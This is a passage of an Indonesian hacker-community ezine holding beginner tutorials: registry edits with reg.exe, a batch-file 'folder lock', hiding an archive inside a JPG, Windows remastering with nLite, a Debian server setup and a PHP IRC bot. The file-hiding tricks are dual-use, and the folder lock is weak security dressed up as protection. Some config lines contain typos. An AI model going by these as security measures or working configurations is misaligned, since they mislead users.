$message)); return TRUE; } else { return FALSE; } } // get the last_message, by row active = 1 function getLastMessage() { $this->db->select('last_message'); $last_message = $this->db->get_where($this->accounts_table, array('active' => '1'))->row()- >last_message; return htmlspecialchars($last_message); } ?> Devilzc0de Ezine #1 Disk Operating System (disingkat DOS) adalah keluarga sistem operasi yang digunakan di komputer pribadi.( http://id.wikipedia.org/wiki/DOS ) Salah satu kegunaan Dos adalah dapat menangain registry system Windows, Yo,kita Buktikan. Sedikit Penjelasan ya Regedit.exe adalah sebuah tool yang diciptakan untuk mengakses registry dengan berbasis windows. Reg.exe adalah sebuah tool yang diciptakan untuk mengakses registry dengan berbasis DOS (console). Cara mengaksesnya adalah? 1. Masuklah ke Console Dos ( Buka Run-> ketik cmd ) Mengakses Registry dar DOS Promp Devilzc0de Ezine #1 2. Ketik Perintah Reg. Maka akan ditampilkan beberapa opsi Operation yang bisa Anda gunakan untuk mengakses registry Windows, seperti: QUERY, ADD, DELETE, COPY, SAVE, LOAD, UNLOAD, RESTORE,COMPARE, EXPORT, IMPORT. 3. Ketik reg add /? Maka akan ditampilkan paremeter-parameter yang dapat dimasukkan kedalam perintah ADD. Devilzc0de Ezine #1 Dengan pengantar singkat ini, Anda sudah bisa mengakses registry dalam DOS (console). Rootkey: HKCR = HKEY_CLASSES_ROOT HKCU = HKEY_CURRENT_USER HKLM = HKEY_LOCAL_MACHINE HKU = HKEY_USERS HKCC = HKEY_CURRENT_CONFIG Data Type: REG_SZ = String Value REG_MULTI_SZ = Multi-String Value REG_DWORD = DWORD Value REG_BINARY = Binary Value REG_NONE = No Value Devilzc0de Ezine #1 Contoh : reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 1 /f Perintah tersebut akan men-disable regedit yang berbasis Windows. Sedangkan untuk meng-enable regedit adalah dengan perintah berikut ini : reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 0 /f Atau reg delete “HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System” /v DisableRegistryTools Demikian juga untuk perintah-perintah yang lain. Teknik ini sangat ampuh digunakan untuk menangani berbagai macam virus yang sempat membuat Anda kesal dengan polah tingkahnya. Blok sana, blok sini... Hati-hati...!! bisa jadi virus mengubah fle reg.exe ini menjadi pemicu virus tersebut. Saran saya: simpanlah fle reg.exe ini didalam media penyimpan yang aman, seperti CD, Flash Disk, dll. dan jauhkan dari jangkauan virus. Suatu saat Anda akan Membutuhkannya. Writer : misterfribo ( misterfribo@indonesianhacker.org ) Devilzc0de Ezine #1 Yuhhuu.. oke kali ini ane coba berbagi tips kepada ente sekalian tentang bagaimana membuat folder dengan password tanpa menggunakan software cuma Notepad aja..kekekekeke Langsung aja ga perlu basa basi (masalahnya ane juga ga bisa basa basi :) kekekee) 1. Buka Notepad dan copy paste kode di bawah ini : cls @ECHO OFF title el_nino if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK if NOT EXIST el_nino goto MDLOCKER :CONFIRM echo Apakah ente ingin Mengunci Folder el_nino Tersebut ? (Y/N) set/p "cho=>" if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%==n goto END if %cho%==N goto END echo Ketik Y atau N. goto CONFIRM :LOCK ren el_nino "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo el_nino Terkunci goto End :UNLOCK echo Masukkan Password untuk membuka Folder set/p "pass=>" if NOT %pass%== 1234 goto FAIL attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" el_nino echo el_nino sudah di buka goto End :FAIL echo Password salah goto end :MDLOCKER md el_nino echo el_nino Sukses di buat goto End :End Membuat Folder dengan Password Devilzc0de Ezine #1 2. Ente dapat mengganti tulisan “1234” dengan password yang ente mau. 3. Save As File tersebut dengan Nama terserah ente yang penting bereksistensi .bat Misalnya di sini ane buat siganteng.bat 4. Klik file siganteng.bat ( Dia akan membuat Folder pribadi dengan nama “el_nino” ) 5. Klik kembali file siganteng.bat dan masukkan “y” untuk mengunci folder tersebut. 6. Untuk membuka nya ente bisa mengklik file siganteng.bat kembali dan masukkan password ente. Semoga Bermanfaat.. Devilzc0de Ezine #1 Hoo..ho.. Di bagian yang kedua ini ane mencoba membagikan sedikit tips bagi ente, bagiamna cara menyembunyikan file ke dalam sebuah file gambar. Sebelumnya pastikan bahwa komputer ente telah terinstall WinRar. Langsung aja nyook :) Langkah 1 : Kumpulkan file-file yang ingin di sembunyikan dan compress jadi satu dengan menggunakan Winrar. Misalkan di sini ane beri nama elninofile.rar :) Menyembunyikan File ke dalam Gambar Devilzc0de Ezine #1 Langkah 2 : Siapkan sebuah file gambar (.jpg). Misalkan lagi di sini ane beri nama ganteng.jpg :) Devilzc0de Ezine #1 Langkah 3 : Letakkan kedua file tersebut ( File ganteng.jpg dan elninofile.rar ) dalam sebuah directory yang sama. misalkan di sini ane taruh di Drive C (misalkan molo..kekekekek) : Devilzc0de Ezine #1 Langkah 4 : Buka Command Prompt dan ketikkan : c:\>copy /b ganteng.jpg+elninofile.rar el_nino.jpg Langkah 5 : Jreng..Jreng Setelah itu akan tercipta sebuah file baru dengan nama el_nino.jpg. Coba ente buka file el_nino.jpg. Devilzc0de Ezine #1 Sekilas tidak akan ada bedanya dengan file ganteng.jpg kecuali ukuran filenya yang bertambah besar. ente tetap bisa membuka file tersebut dengan Picture Editor atau Image Viewer lainnya. Tidak ada tanda-tanda bahwa sebenarnya ada sebuah file didalamnya..kekekekeke :) Langkah 6 : Bagaimana cara membukanya :( ? Klik kanan pada file el_nino.jpg lalu pilihlah [Open With] –> [Choose Program..]. Pilihlah WinRar lalu klik [OK]. :) ente akan bisa melihat file dan bisa mengextract seperti biasanya. Semoga Bermanfaat :) Thank’s to : petimati | whitehat | kiddies | xtronic | chaer.newbie | wenkhairu | wahyu_devilzc0de | gonzhack | nacko | ketek | devilz_nonkrong | android2009 | iblismuda | zal__freaks | t3mp3 And All STAFF, Moderator, Admin, Activis, Member Devilzc0de.org Devilzc0de Ezine #1 Pada kesempatan ini saya ingin berbagi dasar2 Python yg sedang saya pelajari juga, Kita mulai... Pada OS Windows, ada 2 pilihan program Python yg bisa digunakan : - Python (command line) - IDLE (Python GUI) keduanya mempunyai perbedaan yg utama yaitu : - Python, bekerja dalam modus teks. - IDLE, bekerja dalam modus grafis. Apabila anda sudah menginstall Python ke pc, selama sebelum di rubah menu start dapat langsung klik menu start - All Program - Python 2.6 - Python (command line) untuk menjalankan program Python dalam modus teks. Atau klik menu start - All Program - Python 2.6 - IDLE (Python GUI) untuk menjalankan program IDLE (Python GUI) dalam modus grafis. Saya menggunakan Python 2.6 jadi contoh diatas sama dengan yg ada di pc saya, tapi perintahnya sama pada python versi sebelumnya. Anda dapat memilih atau menentukan program mana yang akan digunakan untuk bekerja dengan program Python. Masing masing mempunyai kelebihan/keunggulan maupun kekurangan/kelemahan. Python yang ada dalam modus teks lebih unggul dalam hal kecepatan, sedangkan IDLE memiliki lingkungan kerja yg lebih lengkap dan terintegrasi. Contohnya, pada IDLE tersedia fasilitas debug dan editor untuk membuat script. Gambar Python (command line) Dasar Menggunakan Python Devilzc0de Ezine #1 Gambar IDLE (Python GUI) : 2 cara menggunakan Python : - Penggunaan secara langsung (interaktif), - Membuat script program yg isinya perintah-perintah Python. Untuk cara menggunakan yg pertamaxx, baik pada Python maupun IDLE... anda hanya mengetikkan perintah di depan prompt >>>. Setelah tekan ENTER, hasilnya dari perintah itu akan langsung tampil dibawahnya... Devilzc0de Ezine #1 Perhatikan contoh dibawah ini, contoh gambar dibawah ini saya menggunakan IDLE : Untuk keluar atau mengakhiri menggunakan Python secara langsung , pada Python (command line) tekan tombol Ctrl + Z, sedangkan pada IDLE tekan Ctrl + D. Penting : Sebaiknya, penggunaan Python secara langsung hanya digunakan untuk mencoba instruksi atau perintah, atau paling tidak untuk melakukan perhitungan sederhana, seperti penjumlahan, pengurangan, perkalian, dan lain sebagainya. sementara itu dulu kawan semua... topik ini memang tentang dasar/awal mengenai Python, sekalian latihan nulis aja neh om... semoga tulisan saya yg pendek ini bisa bermanfaat... Terima kasih … Devilzc0de Ezine #1 Assalamu’alaikum… Adapun manfaat lain dari remastering kali ini adalah proses installasi jadi lebih cepat, yang defaultnya 32 menit bisa kita kurangi menjadi 8-15 menit saja, ya sekitar 8-15 saja untuk melakukan instalasi Windows yang sudah kita remastering ini. Selain itu kita juga bisa membuat unattended installation, yaitu kita bisa menanamkan serial number installasi, konfigurasi waktu/timezone, user, networking dan lain sebagainya pada windows yang akan kita remastering, sehingga ketika kita melakukan installasi menggunakan windows remastering ini, kita hanya perlu menentukan partisinya dan setelah itu kita bisa meninggalkannya sampai selesai tanpa perlu memasukkan serial number dan konfigurasi2 lainnya. Adapun yang kita perlukan untuk remastering windows adalah : 1. Source Windows ataupun CD Installer Windows 2. Installasi terlebih dahulu .Net Framework, pada simulasi kali ini saya menggunakan .Net Framework 2.0 x86, bagi mahasiswa STT Telkom bisa mendownloadnya di iefile. atau Installernya bisa d-download di sini 3. Setelah .Net Framework terinstall, maka kita harus menginstall nLite, kebetulan pada simulasi ini saya menggunakan nLite versi 1.3.5. nLite ini adalah aplikasi yang berfungsi untuk me-remaster windows. Installernya ada di sini Nah setelah semua syarat terpenuhi, sekarang kita akan melakukan proses remastering windows tersebut. Langkah2nya adalah : 1. Buka/jalankan Aplikasi nLite tersebut. Pada simulasi kali ini, saya memilih Indonesia sebagai bahasanya. Kemudian klik button “Lanjut”. Tutorial Remastering Windows Devilzc0de Ezine #1 2. Klik Button “Browse” untuk menentukan lokasi dimana master windows yang akan kita remaster-kan. 3. Setelah itu akan terlihat apa nama produk, versi, bahasa dan ukuran dari windows yang akan kita remaster-kan. Setelah itu klik button “Lanjut” 4. Setelah itu akan keluar tampilan Preset, yang berfungsi menggunakan settingan remastering sebelumnya. Pada simulasi kali ini, saya asumsikan kita belum pernah melakukan proses remastering sebelumnya, jadi tidak ada settingan yang tersimpan. Sehingga jika muncul tampilan seperti di bawah ini, langsung aja klik Button “Lanjut” Devilzc0de Ezine #1 5. Setelah itu akan keluar tampilan seperti di bawah ini, yaitu opsi apakah ingin melakukan integrasi, menghapus komponen, mengatur konfigurasi setup, dan opsi membuat bootable ISO. Pada simulasi kali ini, saya memilih semua opsi, KECUALI integrasi. Karena fokus kita kali ini adalah bukan menambahkan/menyisipkan, melainkan melakukan penghapusan komponen dan melakukan konfigurasi. Setelah opsi dipilih, klik button “Lanjut” 6. Akan keluar tampilan seperti di bawah ini, untuk tampilan window kompatibilitas, kita bisa mengabaikannya dengan mengklik tombol “Batal” pada window kompatibilitas. Adapun maksud dari window kompatibilitas ini bisa kita lihat dari capture gambar di bawah ini. Devilzc0de Ezine #1 7. Selanjutnya kita akan dihadapkan dengan window seperti di bawah ini. Window ini berisi komponenkomponen yang akan kita buang. Dengan men-Checklist opsi yang ada, berarti kita akan men-drop komponen-komponen tersebut. Penting untuk diingat, bahwa penjelasan dari masing-masing komponen ada tertera di kolom paling kanan ketika kursor kita berada pada opsi yang kita pilih dan KOMPONEN YG AKAN KITA BUANG RELATIF ANTAR TIAP ORANG, TERGANTUNG DENGAN KEBUTUHAN MASING-MASING. Sebagai Contoh saya akan men-drop wordpad pada opsi Aplikasi. Karena menurut saya fungsi wordpad sudah bisa digantikan dengan notepad, ditambah lagi saya memang berniat menginstall Office nantinya, sehingga wordpad saya rasa tidak perlu. Kalo Anda ingin mengikuti langkah2 saya dalam men-drop komponen-komponen apa saja, yah silahkan… Berikut ini komponen-komponen yang saya hapus (ditandai dengan opsi yang di-checklist) : Untuk Opsi Aplikasi : Devilzc0de Ezine #1 Untuk Opsi Bahasa (untuk opsi bahasa ini saya men-checklist semuanya): Untuk Opsi Drivers : Untuk Opsi Dukungan Hardware, saya tidak men-checklist satu komponen pun. Untuk Opsi Jaringan, saya HANYA men-checklist komponen Bimbingan Koneksi Internet, MSN Explorer, Piranti Komunikasi, Windows Messenger : Devilzc0de Ezine #1 Untuk Opsi Keyboard, saya men-checklist semuanya KECUALI United Kingdom Keyboard dan United States-International Keyboard. Untuk Opsi Layanan, saya men-checklist komponen-komponen berikut, yaitu : Layanan fax, Layanan Indexing, Logon Sekunder, Otomatis Memutakhirkan, Pelaporan Kesalahan, Remote Registry, Waktu Windows. Untuk opsi Multimedia : Devilzc0de Ezine #1 Untuk Opsi Sistem Operasi, perlu diperhatikan bahwa komponen Out Of Box Experience (OOBE), sebaiknya jangan di check list, Terkecuali jika windows yang akan kita remastering adalah versi corporate windows.: Untuk Opsi Direktori (saya men-checklist semua komponen): Devilzc0de Ezine #1 8. Selesai sudah tahap pembuangan/penghapusan komponen. Klik Tombol Lanjut.Kita akan dihadapkan dengan opsi Unattended, yang baerarti di sini kita bisa menanamkan serial number, dan konfigurasikonfigrasi lainnya(seperti user, networking, timezone, Desktop, dan lain-lain) sehingga windows hasil remastering ini nantinya tidak meminta serial number dan konfigurasi-konfigurasi lainnya ketika diinstall, karena semuanya sudah kita embedded-kan. 9. Setelah melakukan konfigurasi unattended sesuai dengan keinginan kita, lalu klik button “Lanjut” sehingga akan keluar tampilan seperti di bawah ini. Lakukanlah pemilihan opsi dan settingan sesuai dengan kebutuhan Anda. Devilzc0de Ezine #1 10. Klik button “Lanjut” , kemudian akan keluar tampilan seperti di bawah ini, yaitu opsi Tweaks yang berfungsi untuk melakukan penanaman settingan registry dan aneka service yang akan distartup, sebagai contoh kita mensetting agar key CTRL+ALT+DEL tidak bisa dieksekusi sewaktu proses masuk dan settingan lainnya. 11. Setelah Opsi Tweaks ini selesai kita konfigurasi, klik-lah button “Lanjut” untuk memproses windows yang kita remastering-kan tadi menjadi files installasi. Ilustrasinya kurang lebih seperti gambar di bawah ini : Akan keluar tampilan seperti di bawah ini. Klik-lah button “Yes” untuk memulai pemrosesan : Devilzc0de Ezine #1 Setelah button “Yes” di-klik, maka tampilannya kurang lebih seperti di bawah ini yang menandakan proses membuat ke file installasi : Setelah pemrosesan selesai, dimana ilustrasinya kurang lebih seperti gambar di bawah ini. Dapat kita amati bahwa file installer windows XP SP2 hasil remastering kita sekarang HANYA berukuran 170,91 MB. Coba bayangin yang mana ukuran file installer aslinya adalah 574,20 MB berkurang secara drastis menjadi 170,91 MB. Kecil sekali bukan, yang mana berarti kita telah membuang 403,29 MB komponen dan service yang tidak kita perlukan yang hanya menghabisin space dan memory PC kita. Devilzc0de Ezine #1 12. Klik-lah button “Lanjut”. Telah selesailah tahap pemrosesan ke bentuk files installasi. Sekarang kita akan membuat image dari files installer hasil remastering tadi. Yup, kita akan membuat ISO bootable dari installer hasil remastering tadi. Lakukanlah perubahan seperlunya, seperti Label dan lain-lain. Kemudian klik-lah button Buat ISO untuk memulai proses pembuatan ISO file installer windows SP2 hasil remastering yang telah kita lakukan. Perhatikan gambar di bawah ini: Selesai sudah proses remastering windows yang kita lakukan. Sekarang kita sudah memiliki installer Windows XP SP2 yang hanya berukuran mini, yaitu 170,91 MB. Ditambah lagi dengan keunggulankeunggulan yang dimilikinya, seperti proses installasi hanya 8-15 menit saja, serta unattended installation yang menyenangkan. Thanx alot nLite, akhirnya PC-PC tua ini sudah bisa dikelola dengan baik dan muantabz. Mudah-mudahan , apa yang menjadi tulisan saya ini, dapat bermanfaat bagi semua..Terima kasih atas perhatiannya.. Wassalamu’alaikum….. Devilzc0de Ezine #1 A. SETTING ROUTER ROUTER adalah suatu alat pada dunia komputer yang berguna untuk membelokkan data dari suatu sistem jaringan ke sistem yang lain. Logikanya sebuah sistem jaringan tidak dapat berpindah ke sistem yang lain. Exp Sis A. Menggunakan IP 192.168.1.1 dan Sis B. Menggunakan IP 192.168.2.1 Maka Kompi yang menggunakan Sis A tidak dapat melakukan komunikasi dengan Sis B tanpa Router. Di sini saya akan mensetting router pada debian 4, menggunakan 2 lancard dengan cara sebagai berikut : #nano /etc/network/interfaces auto eth0 iface eth0 inet static address 192.168.1.2 netmask 255.255.255.0 network 192.168.1.0 broadcast 192.168.1.255 gateway 192.168.1.1 auto eth1 iface eth1 inet static address 10.10.10.1 netmask 255.255.255.0 network 10.10.10.0 broadcast 10.10.10.255 #nano /etc/resolv.conf nameserver 202.134.0.155 nameserver 203.130.196.5 #nano /etc/rc.local iptables -t nat -A POSTROUTING -j MASQUERADE #nano /etc/sysctl.conf net.ipv4.ip_forward = 1 B. SETTING DNS Pengertian dan Penjelasan DNS (Domain Name Server) DNS adalah sebuah aplikasi services di Internet yang menerjemahkan sebuah domain name ke IP address. Sebagai contoh, www untuk penggunaan di Internet, lalu diketikan nama domain, misalnya: yahoo.com maka akan di petakan ke sebuah IP mis 202.68.0.134. Jadi DNS dapat di analogikan pada pemakaian buku telepon, dimana orang yang kita kenal berdasarkan nama untuk menghubunginya kita harus memutar nomor telepon di pesawat telepon. Sama persis, host computer mengirimkan queries berupa nama komputer dan domain name server ke DNS, lalu oleh DNS dipetakan ke IP address. Membuat Server Sederhana dengan Debian 4 Devilzc0de Ezine #1 Domain Name System ( DNS ) Domain Name System (DNS) adalah distribute database system yang digunakan untuk pencarian nama komputer (name resolution) di jaringan yang mengunakan TCP/IP (Transmission Control Protocol/Internet Protocol). DNS biasa digunakan pada aplikasi yang terhubung ke Internet seperti web browser atau e-mail, dimana DNS membantu memetakan host name sebuah komputer ke IP address. Selain digunakan di Internet, DNS juga dapat di implementasikan ke private network atau intranet dimana DNS memiliki keunggulan seperti: 1. Mudah, DNS sangat mudah karena user tidak lagi direpotkan untuk mengingat IP address sebuah komputer cukup host name (nama Komputer). 2. Konsisten, IP address sebuah komputer bisa berubah tapi host name tidak berubah. 3. Simple, user hanya menggunakan satu nama domain untuk mencari baik di Internet maupun di Intranet. Pada bagian ini saya akan meneruskan dari setting router tadi ke setting dns, berikut caranya: Installasi paket terlebih dahulu: #apt-get install bind Kemudian kita meng-edit file named.conf: #nano /etc/bind/named.conf zone “10.10.10.in-addr.arpa” { type master ; file “db.10; }; zone “maswahyu.sch.id” { type master ; file “db.maswahyu; }; Membuat db pada directory bind : #cd /etc/bind/ #touch db.maswahyu #nano db.maswahyu Ini merupakan file domain ke ip $TTL 86400 @ IN SOA maswahyu.maswahyu.sch.id root.localhost ( 4 ; serial 1w ; refresh 3h ; retry 3w ; expire 1w ; ttl ) IN NS 10.10.10.1. Devilzc0de Ezine #1 maswahyu IN A 10.10.10.1 www IN CNAME maswahyu #cp db.maswahyu db.10 #touch db.10 #nano db.10 Ini merupakan file ip ke domain $TTL 86400 @ IN SOA maswahyu.maswahyu.sch.id root.localhost ( 4 ; serial 1w ; refresh 3h ; retry 3w ; expire 1w ; ttl ) @ IN NS 10.10.10.1. 1 IN PTR maswahyu.sch.id. # nano /etc/resolv.conf nameserver 10.10.10.1 nameserver 202.134.0.155 nameserver 203.130.196 #/etc/init.d/bind restart #/etc/init.d/bind start C. SETTING HTTP SERVER Pengertian HTTP SERVER HTTP (Hypertext Transfer Protocol) suatu protokol yang digunakan oleh WWW (World Wide Web). HTTP mendefinisikan bagaimana suatu pesan bisa diformat dan dikirimkan dari server ke client. HTTP juga mengatur aksi-aksi apa saja yang harus dilakukan oleh web server dan juga web browser sebagai respon atas perintah-perintah yang ada pada protokol HTTP ini. Contohnya bila kita mengetikkan suatu alamat atau URL pada internet browser maka web browser akan mengirimkan perintah HTTP ke web server. Web server kemudian akan menerima perintah ini dan melakukan aktivitas sesuai dengan perintah yang diminta oleh web browser. Hasil aktivitas tadi akan dikirimkan kembali ke web browser untuk ditampilkan kepada kita. Sementara HTTPS (Securre HTTP) merupakan bentuk protokol yang aman karena segala perintah dan data yang lewat protokol ini akan diacak dengan berbagai format sehingga sulit untuk dibajak isinya maupun dilihat perintah-perintah yang dieksekusi. Devilzc0de Ezine #1 Pada bagian ini saya akan mensetting http server pada debian 4. Terlebih dahulu kita menginstall paket-paket yang di butuhkan, disini saya akan menginstall paket yang di butuhkan dari membuat http server sampai web mail server. Sebelum mengintall paket, disarankan untuk menghapus exim4 pada aptitude, karena dapat menghalangi kita dalam mensetting mail server. Berikut cara settingannya: #apt-get install lynx, apache, nmap, php4-imap,postfix, squirrelmail, courier-imap, courier-pop. #cd /var/www/ #nano index.html maswahyu2009 “selamat datang di maswahyu2009” #touch index.php #nano index.php #nano /etc/apache/httpd.conf ServerAdmin admin@maswahyu.sch.id ServerName www.maswahyu.sch.id # Include /etc/apache/conf.d #/etc/init.d/apache restart #/etc/init.d/apache start #lynx www.maswahyu.sch.id #lynx www.maswahyu.sch.id/index.php E. SETTING MAIL SERVER #nano /etc/postfix/main.cf mydestination = maswahyu.maswahyu.sch.id, maswahyu.maswahyu.sch.id, localhost, maswahyu.sch.id, localhost mynetwork = 122.0.0.0/8 10.10.10.0/24 #mail_command = procmail -a “$EXTENSION” inet_interfaces = all name_mailbox = Maildir/ mydomain = maswahyu.sch.id #cd /etc/skel #maildirmake Maildir/ #cd Maildir/ #adduser admin password admin Devilzc0de Ezine #1 F. SETTING WEBMAIL SERVER #nano /etc/apache/httpd.conf Alias /webmail/ /usr/share/squirrelmail/ Options MultiViews AllowOverride None Order allow,deny Allow from all #/etc/squirrelmail/conf.pl pilih 2 untuk server setting pilih 1 untuk domain sisikan maswahyu.sch.id pilih a untuk update imap setting pilih 8 untuk server software isikan : courier pilih q kemudian y #/etc/init.d/apache restart #lynx www.maswahyu.sch.id/webmail/ D. SETTING PROXY Pengertian proxy Proxy server adalah program yang menerima permintaan (request)dari klien, seperti browser web atau ftp klien,dan kemudian meneruskan permintaan tersebut ke server internet yang dituju. Kelebihan menggunakan Proxy server Kelebihan Operating System yang menggunakan proxy adalah data yang diminta dari klien akan diarahkan ke server proxy kemudian dilanjutkan ke server internet.Pada saat data dari server datang,data tersebut akan diarahkan oleh server internet ke server proxy kemudian server proxy meneruskan data tsb ke klien yg memintanya. Disamping memberikan data ke klien,server proxy juga menyimpan salinan data itu sebagai webcache di hardisk.Apabila ada user lain yg meminta data yg sama,maka server proxy akan mengambil data tersebut dari hardisknya tanpa harus melakukan koneksi ke server internetyg menyediakan data tsb. Kalau permintaan yg sama dilakukan oleh user berkali-kali tentu akan mempengaruhi kecepatan akses internet secara signifikan. Fungsi Proxy Juga Sebagai Caching Dengan menyimpan halaman tersebut pada server lokal, proxy dapat menghilangkan akses Internet yang berlebih untuk mengambil kembali halaman yang sama berulang-ulang. Jadi, proxy mula-mula sangat efektif untuk web caching. Namun, Internet sekarang sudah cepat, halaman web bersifat dinamis dan kepentingan user di dalam satu organisasi hanya terdiri dari ratusan halaman web. Faktor-faktor ini menyebabkan caching proxy menjadi tidak efektif, kecuali pada organisasi yang sangat besar atau ISP. Meskipun semua browser standar mempunyai dukungan terhadap proxy server, sejak 1996 jarang digunakan. Pada bagian ini saya akan mensetting proxy pada debian 4, dengan perintah dan script sebagai berikut: Devilzc0de Ezine #1 Terlebih dahulu kita installasi paket yang di butuhkan: #apt-get install squid #nano /etc/squid/squid.conf http_port 8080 transparent cache_mem 64 MB cache_swap_low 90 cache_swap_hight 95 maximum_object_size 4096 kb minimum_object_size 0 kb maximum_object_seze_in_memory 8 kb cache_mgr admin@maswahyu.sch.id visible_hostname proxy.maswahyu.sch.id cache_effective_user proxy cache_effective_group proxy cache_dir auf /var/spool/squid 100 16 256 cache_dir diskd /cache (colum hdd cache ) 10 256 Q1=72 Q2=64 acl filter1 dstdomain “/etc/squid/domain” acl filter2 url_regex -i “/etc/squid/kata” acl client src 10.10.10.0/24 http_access deny filter1 http_access deny filter2 http_access allow client #touch /etc/squid/domain #nano /etc/squid/domain www.youporn.com www.miyabi.com www.porn.com www.proxywebsite.org www.proxy4free.com #touch /etc/squid/kata #nano /etc/squid/kata sex sexy bugil porno porn nude maria ozawa games gamer wanita mandi cara hacker Devilzc0de Ezine #1 hacking crack cracker #nano /etc/rc.local iptables -t nat -F iptables -t nat -A POSTROUTING -j MASQUERADE iptables -t nat -A PREROUTING -p tcp -m tcp –dport 80 -i eth1 -s 10.10.10/24 -j DNAT --to-destination 10.10.10.1:8080 #chown -R proxy.proxy /cache #squid –z ( membuat swap untuk proxy ) #squid –D ( menrunningkan proxy ) #/etc/init.d/squid restart #nmap localhost ( melihat apakah proxy kita sudah jadi ) G.SETTING SAMBA Pengertian samba : Samba merupakan service yang berfungsi untuk filesharing dan printer Linux pada client Windows. Pada saat instalasi debian Etch 4.0, paket samba sudah ada di opsi awal pemilihan paket yang bernama filesharing. Namun, perlu diketahui bahwa konfigurasi awal dari samba tersebut dirasa kurang sempurna walaupun secara security sudah baik. Sebelum anda hendak mensharing suatu folder, maka pastikan dulu file-file tersebut memiliki hak yang bisa diakses oleh siapa saja. Gunakan perintah "ls -al" pada suatu folder melalui konsole. Dari sana akan terlihat file-file tersebut memiliki hak untuk siapa saja. Kasusnya, anda pasti sebal bahwa file yang telah anda sharing ternyata tidak dapat di-edit. Sedangkan pada konfigurasi samba-nya, status writeable aktif. Ingat, writeable disini tidak asal-asalan bebas menulis tanpa memandang siapa yang mengedit. Writeable akan aktif bila disesuaikan dengan hak user yang memang diijinkan untuk mengedit file tersebut. Bila user lain tidak memiliki hak yang terdapat pada file tersebut, maka jangan harap bisa mengeditnya. Berikut ini cara mensetting samba : # apt-get install samba # nano /etc/samba/smb.conf Devilzc0de Ezine #1 Ini merupakan contoh file smb.conf #====================Global Settings==================== [global] workgroup = wahyu ----> nama workgroup yang muncul nantinya server string = %h server dns proxy = no interfaces = 127.0.0.0/8 eth0 ---> eth0 merupakan LAN card,bisa diganti menurut medianya bind interfaces only = true log file = /var/log/samba/log.%m max log size = 1000 syslog = 0 panic action = /usr/share/samba/panic-action %d ###### Authentication ####### security = user ---> hanya untuk user yang terdaftar. encrypt passwords = true passdb backend = tdbsam obey pam restrictions = yes passwd program = /usr/bin/passwd %u passwd chat = *EntersnewsUNIXspassword:* %nn *RetypesnewsUNIXspassword:* %nn *passwordsupdatedssuccessfully* . #====================ShareDefinitions=================== [master] ---> menentukan nama filesharing path = /media/repo/ ---> path tempat folder dishare guest ol = no ---> akses guest ditolak, untuk menghidupkan ganti dengan yes browseable = yes ---> bisa dibrowsing read-only = no ---> read-only memiliki opsi yes atau no valid-users = wahyu, root ----> list user yang memiliki akses writeable = yes ---> bisa ditulis. create mask = 700 ----> hak membuat file directory mask = 700 ----> hak membuat direktori [music] path = /media/ guest ol = yes browsable = yes read-only = no writeable = yes valid users = wahyu,root Devilzc0de Ezine #1 [printers] comment = All Printers browseable = no path = /var/spool/samba printable = yes public = no writable = no create mode = 0700 # Sharing Printer Windows clients look for this share name as a source of downloadable [print$] comment = Printer Drivers path = /var/lib/samba/printers browseable = yes read only = yes writable = yes guest ok = no ----> guest dilarang masuk write list = root, @ntadmin # Sharing CD-ROM with others. [cdrom] comment = Samba server's CD-ROM writable = no locking = no path = /cdrom public = yes ----> public berarti bebas dipakai oleh siapa saja Logikanya pembuatan sharing folder dapat dilihat pada bagian [master]. Yang perlu diperhatikan adalah security= user / share, writeable= yes / no, browseable = yes / no, path dan valid users. Dan inti dari setting samba kita kali in adalah menghilangkan tanda ( ; ) pada media yang akan kita sharingkan.. Nah setelah itu kita membuat sebuah user untuk tempat sharing data kita tadi. # useradd wahyu #smbpasswd wahyu Ulangi password wahyu # /etc/init.d samba restart Selesai sudah kita membuat server standar pada linux debian4, semoga dapat di pahami, dan bermanfaat bagi orang banyak, Sekian dari saya terima kasih. Nama : Wahyu Adi Prasetyo ID : wahyu_devilzcode Email : wahyu05111991@yahoo.com Devilzc0de Ezine #1 Pertama, kita akan men-download Net_SmartIRC di sini. Ya, ini adalah “tarball,” TAR arsip atau file di dalam gzip arsip. Jika anda tidak memiliki perangkat lunak untuk meng-extract file ini, Anda tidak perlu khawatir! Kita bisa meng-extract langsung dan di upload ke Shellium. Jika Anda memiliki perangkat lunak, bagus! lanjutkan dan extract file nya. Jika Anda masih perlu untuk mengambil file tersebut, cukup menjalankan perintah ini: tar-zxf Net_SmartIRC-1.0.0.tgz Kita tidak memerlukan file “package.sig” atau “package.xml,” jadi, hapus saja. Sekarang anda seharusnya sudah memiliki sebuah direktori bernama “Net_SmartIRC-1.0.0.” Cd ke dalam direktori ini. Anda dapat menyimpan salah satu atau semua file-file ini, atau hanya perlu bare utama. Yang benar-benar Anda perlukan untuk mendapatkan PHP IRC bot up dan running adalah: * The directory “SmartIRC” * The file “SmartIRC.php” Ya, itu semua. Namun, saya akan rekomendasikan menjaga direktori “docs” dan “examples,” karena mereka dapat membantu anda dengan hal-hal yang tidak ditawarkan tutorial ini. Baiklah, mari kita mulai. Buat file teks kosong dengan ekstensi “php”. Ke dalam file ini, masukkan berikut ini: include_once('SmartIRC.php'); class mybot { function test(&$irc, &$data) { $irc->message(SMARTIRC_TYPE_CHANNEL, $data->channel, $data->nick.': It works!'); } function quit(&$irc, &$data) { if ($data->nick == "YourNickHere") { $irc->disconnect(); }}} $bot = &new mybot(); $irc = &new Net_SmartIRC(); $irc->setDebug(SMARTIRC_DEBUG_ALL); $irc->setUseSockets(TRUE); $irc->registerActionhandler(SMARTIRC_TYPE_CHANNEL, '^!test', $bot, 'test'); $irc->registerActionhandler(SMARTIRC_TYPE_CHANNEL, '^!quit', $bot, 'quit'); $irc->connect('irc.server.net', 6667); $irc->login('Net_SmartIRC', 'Net_SmartIRC Client '.SMARTIRC_VERSION.' (yourfilename.php)', 0, 'Net_SmartIRC'); $irc->join(array('#test')); $irc->listen(); $irc->disconnect(); Menulis Sebuah IRC Bot di PHP Devilzc0de Ezine #1 Silakan 